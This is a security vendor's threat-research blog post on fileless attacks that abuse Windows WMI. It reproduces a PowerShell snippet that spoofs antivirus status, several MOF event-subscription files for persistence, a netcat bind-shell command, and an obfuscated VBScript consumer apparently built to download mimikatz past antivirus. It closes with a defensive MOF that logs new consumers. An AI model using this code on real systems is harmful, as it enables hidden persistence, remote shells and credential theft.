<img alt="" src="https://secure.kota3chat.com/187521.png" style="display:none;">

GuardYoo Threat Research Team - File-less Malware Attacks

“Fileless Malware Attacks” & “Non-Malware Attacks” are terms that are been used more and more recently to describe some of the latest trends been seen in cyber security.

Cyber research companies have been periodically publishing articles and blog posts, containing statistics and predictions regarding how this type of cyber-attack is affecting and will affect, a large number of organisations.

But what kind of attacks are these? and why are we hearing these terms more and more?

The GuardYoo Threat research lab have written this article to help cyber-consultants better understand these threats and how to combat them.

Having carried out extensive research on this topic, the GuardYoo team discovered that this new terminology is in fact just a variation on old technology. The key components of file-less attacks are - WMI & Powershell, so although the category of attack is relatively new, the techniques themselves are not.

Does this mean they do not warrant attention?
No, on the contrary, this suggests they warrant even more attention.

Windows Management Instrumentation

In our article, we look closely at WMI - a Windows component that delivers really powerful capabilities, and, when understood properly, can even be utilised for defensive purposes.

The Windows Management Instrumentation (WMI) is a set of specifications from Microsoft for consolidating the management of devices and applications in a network from Windows computing systems. WMI provides users with information about the status of local or remote computer systems.

For example, cyber-attacks often use WMI to request information about users, the operating system, or deployed antivirus software.

gwmi -Namespace "root\SecurityCenter2" -q "Select * from AntiVirusProduct"

Picture1
 

Similar information can be gathered on any entities: files, users, access privileges, memory, external and internal devices.

The importance of such information may seem insignificant, but in the possession of a skilled attacker, each piece of gathered data can help when trying to penetrate an organisation’s infrastructure.

DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.
DustySky dropper uses WMI to extract information about the users operating system and whether anti-virus is active. Ref: [1], [2].

This malware was used as part of an attack that targeted government departments and diplomatic institutions across the Middle East: Israel, Egypt, Saudi Arabia, the United Arab Emirates and Iraq.
The United States and European countries have also been targeted using this malware [7].

Cyber criminals use WMI not just to collect information, but also to manipulate information being used by IT teams to identify anomalies within the system.

This is an important fact for Cyber Security teams that use WMI as part of their monitoring systems. As each object in WMI follows the OOP paradigm and represented as a class with properties. We can manage the properties of the WMI objects by using the methods “Set & Get”. Therefore, as well as get information, some of the properties may be manipulated by the “set” method.

An example of this is as follows: the code changes the state of WindowsDefender antivirus.

$x = gwmi -Namespace "root\SecurityCenter2" -q "select * from antivirusproduct where displayname='Windows Defender'"
$x.productState = 401664
$x.put()

Note that this method does not disable the antivirus, it simply alters the information until the system polls the antivirus again and changes the value.

Another good example of the real organisation infrastructure reconnaissance by the adversaries is the Rogue Robin payload. Through the WMI this malware checks to see if it is running in a virtual machine. Depending on the received information malware will decide which actions to perform.

 

Picture2

 

Picture3

 

To build requests like these, attackers access existing WMI classes that are stored in the CIM repository (Common Information Model).

The CIM repository interacts with CIMOM (Common Information Model Object Manager), which transfers CIM data between WBEM (Web-Based Enterprise Management) client applications and managed resources and also provides a useful tool for the consumer and provider.

This is an important point within this article as in GuardYoo’s experience a lot of cyber consultants overlook this area due to the lack of information available to them.

Providers access data through objects, and the Consumer is an application that uses the data received by the Provider to present this data, or even execute commands across the system.

For example; “RegistryProvider” supplies access to data from the registry, and “ActiveScriptEventConsumer” runs a predetermined script when a certain event is triggered by the provider.

A list of all providers can be viewed at the link [3], and Consumers at link [4] Let us briefly consider the components that make up each event:

  • - Filter - an instance of the __EventFilter class;
  • - Consumer - an instance of one of the classes describing the Consumer
    (for example; “CommandLineEventConsumer” or “NTEventLogEventConsumer”);
  • - Relationship between filter and the Consumer - an instance of the __FilterToConsumerBinding class.

For this to work, simply create a “mof” file, describe the components listed above and execute it using the “mofcomp.exe” utility

WMI Consumers are often used to maintain persistency. Using various techniques, cyber-criminals often try to achieve a state of persistency as this allows them to maintain control of the system after they have achieved the main objective of the attack.

For example, the following code is launched at the same time every Monday and Tuesday to execute a command (such as launching an executable script file), which will transfer data to the Consumer, whose name is “CommandLineEventConsumer”.

#pragma namespace ("\\\\.\\root\\subscription")

instance of __EventFilter as $filter

{

Name = "test_f";

EventNamespace = "root\\cimv2";

Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60"

"WHERE TargetInstance ISA \"Win32_LocalTime\" AND"

"(TargetInstance.DayOfWeek = 1 OR TargetInstance.DayOfWeek = 2) AND"

"TargetInstance.Hour = 12 AND TargetInstance.Minute = 51 AND"

"TargetInstance.Second = 0 Group WITHIN 60";

QueryLanguage = "WQL";

};

instance of CommandLineEventConsumer as $consumer

{

Name = "test_c";

CommandLineTemplate="C:\\test\\e1.bat";

RunInteractively = True;

};

instance of __FilterToConsumerBinding

{

Consumer = $consumer;

Filter = $filter;

};

To begin, attackers create a filter (highlighted in blue), this filter will fire at a specific time (12:51) on Monday and Tuesday.
Thus, you can create a scheduled launch without using the Scheduler.
(A similar filter was used by APT29 using the backdoor POSHSPY [5].)

The attackers use the “CommandLineEventConsumer” (highlighted in red) to launch a batch file that contains a command or a set of commands.

If such file contains something as c:\windows\system32\nc.exe -Ldp 455 -e cmd.exe, it becomes a real backdoor. Besides a big risk to the system security, such consumer is also an especially difficult indicator to catch.

Cyber Consultants should understand the dangers involved when such a Consumer is used during attacks.

Such a dangerous technique may be used to run any executable file when specific events occur. For instance, launching a utility such as “netcat”, “mimikatz”, or a payload generated via Metasploit.

(Mimikatz is a tool for extracting passwords from memory).

Also, using a similar Consumer technique, attackers can run any vbs script.

Note: An interesting point is that when cyber-criminals use the WMI Consumers technique, they create their own monitoring system that monitors the events they are interested in, so can react accordingly when needed.

In addition, within the Consumer technology, there is a Provider responsible for sending messages to the event log which many SIEM systems use to identify events for monitoring. So attackers who use the technique described above are hidden behind the actual monitoring systems intercepting events happening in the system before the system reports what is happening in the event log

We can use the following example to highlight an interesting process.

For educational purposes, let’s run the file and use the Consumer from the previous example (“CommandLineEventConsumer”).

To execute the Consumer’s command without having to wait for a specific event, create a simple class consisting of one variable, in the filter indicate an event to create an instance of this class, and after creating the Consumer initialize the class.
Thus, the Consumer will work immediately after compiling the file.

#pragma namespace ("\\\\.\\root\\subscription")

class AutoRunA

{

[key] string Name;

};

instance of __EventFilter as $filter

{

Name = "test_f2";

EventNamespace = "root\\subscription";

Query = "SELECT * FROM __InstanceCreationEvent WHERE" "TargetInstance.__class=\"AutoRunA\"";

QueryLanguage = "WQL";

};

instance of CommandLineEventConsumer as $consumer

{

Name = "test_c2";

ExecutablePath="C:\\Windows\\System32\\cscript.exe";

CommandLineTemplate="C:\\Windows\\System32\\cscript.exe C:\\test\\e2.vbs";

RunInteractively = True;

};

instance of __FilterToConsumerBinding

{

Consumer = $consumer;

Filter = $filter;

};

instance of AutoRunA

{

Name = "aaaaaaaaaaaaa";

};

Picture11

To help understand how this works, the GuardYoo lab can highlight how attackers can use these techniques to penetrate and expand their movement laterally across the infrastructure.

For example, What if attackers want to download an executable file from a different server?

To do this, write a script that will run the “bitsadmin.exe” utility (this utility allows you to exchange files using tasks (BITS jobs), attackers can use this utility to download files and execute them) [6].
See the resulting code:

Picture4

When you run this, the results will be.

Picture5

What’s positive is that the Antivirus suspected that something was wrong.
Although this is good on the part of the antivirus, attackers still want the code to execute but remain hidden.

Picture6

At this point, the code looks like it is above and the antivirus solution no longer considers this a suspicious activity.

Picture7Picture8

The next step is to register this script to the Consumer. This time using “ActiveScriptEventConsumer”, which allows the script to be registered directly in the mof file.

#pragma namespace ("\\\\.\\root\\subscription")

class AutoRunB

{

[key] string Name;

};

instance of __EventFilter as $filter

{

Name = "ftest2";

EventNamespace = "root\\subscription";

Query = "SELECT * FROM __InstanceCreationEvent WHERE " "TargetInstance.__class=\"AutoRunB\"";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $consumer

{

Name = "asec";

ScriptingEngine = "VBScript";

ScriptText =

"Function b() \n"

"nnewvar =

Chr(99)&Chr(109)&Chr(100)&Chr(32)&Chr(47)&Chr(99)&Chr(32)&Chr(98)&Chr(105)&Chr(116)&Chr(115)&Chr(97)&Chr(100)&Chr(109) \n"

[...]

"nnewvar = nnewvar

&Chr(116)&Chr(92)&Chr(109)&Chr(105)&Chr(109)&Chr(105)&Chr(46)&Chr(101)&Chr(120)&Chr(101) \n"

"Dim objFSO \n"

"Dim objFile \n"

"Dim strDir \n"

"Dim objShell \n"

"Set objFSO = CreateObject(\"Scripting.FileSystemObject\") \n"

"strDir = objFSO.BuildPath(objFSO.GetSpecialFolder(2), \"e3_t.bat\") \n"

"Set objFile = objFSO.OpenTextFile(strDir, 8, True) \n"

"objFile.Write nnewvar \n"

"objFile.Close \n"

"set objShell = CreateObject(\"WScript.Shell\") \n"

"objShell.Run strDir, 0, True \n"

"objFSO.DeleteFile(strDir) \n"

"End Function \n"

"b \n";

};

instance of __FilterToConsumerBinding

{

Consumer = $consumer;

Filter = $filter;

};

instance of AutoRunB

{

Name = "bbbbbbbb";

};

- The first part of the code is the same as in the previous example.
- Write the code into the ScriptText variable for the Consumer.
- The result is that the attacker has downloaded all the tools they need into the system.

Next step:

Suppose attackers downloaded “mimikatz”, but it does not make sense to run it if there are no users active on the host.
Attackers are then faced with the challenge of intercepting passwords, but only if the system administrator or a specific user logs in.

The attackers can create a Consumer who can wait for the administrator to authorise (or the user who is hunting) and run “mimikatz” with the correct command.

Another great example from real life is the STUXNET virus, which also used WMI and is genius in its simplicity.

Two files to be uploaded. The executable itself (winsta.exe), loaded into% SystemRoot% \ System32 and the mof file (sysnullevnt.mof) in% SystemRoot% \ System32 \ wmeb \ mof.

The mof file contains a JS script that launches the executable file located earlier in the process, and after successful execution, all traces are “erased” (deleting files and all WMI filters, classes and Consumers).

Why exactly use this directory for the mof file?

According to Microsoft documentation, when a file is uploaded to this directory, mof is automatically generated and classes are added to the WMI repository, which also corresponds to the following registry branch.

 

Picture9

 

In Conclusion

As we begin to conclude. There are plenty of positives in using WMI.
Therefore, it is definitely worth paying attention to suspicious activity using this technology.

A few scripts can be added to the defensive arsenal.

Using WMI, allows a strong monitoring system to be created but It does depend on who uses the WMI technique and if this "monitoring system" will work for them.

To reinforce this idea, we can offer one more example, but from a more positive perspective.

In the course of the article, we displayed how critical it is to track the creation of various Consumers, and special attention should be paid to “ActiveScriptEventConsumer” and “CommandLineEventConsumer”.

Create a simple mof that will recognise and track an event;
the appearance of a new Consumer (“ActiveScriptEventConsumer”) and record it to the logs.

See the following code:

#pragma namespace ("\\\\.\\root\\subscription")

 

instance of __EventFilter as $filter

{

Name = "asec_filter";

EventNamespace = "root\\subscription";

Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA \"ActiveScriptEventConsumer\"";

QueryLanguage = "WQL";

};

instance of NTEventLogEventConsumer as $consumer

{

Name = "asec_consumer";

SourceName = "GuardYooMonitoring";

EventID = 235;

EventType = 2;

Category = 0;

NumberOfInsertionStrings = 3;

InsertionStringTemplates = {"A new consumer was created!", "Instance name:

%TargetInstance.Name%", "Script Text: %TargetInstance.ScriptText%"};

};

instance of __FilterToConsumerBinding

{

Consumer = $consumer;

Filter = $filter;

};

After compiling this file, the Consumer is created.

Next, any new instance of the “ActiveScriptEventConsumer” class will be displayed as an event in the log.

 

Picture10

 

References

  1. https://unit42.paloaltonetworks.com/unit42-downeks-and-quasar-rat-used-in-recenttargeted-attacks-against-governments/
  2. https://attack.mitre.org/software/S0062/
  3. https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-providers
  4. https://docs.microsoft.com/en-us/windows/win32/wmisdk/standard-consumer-classes
  5. https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
  6. https://attack.mitre.org/techniques/T1197/
  7. https://www.clearskysec.com/dustysky/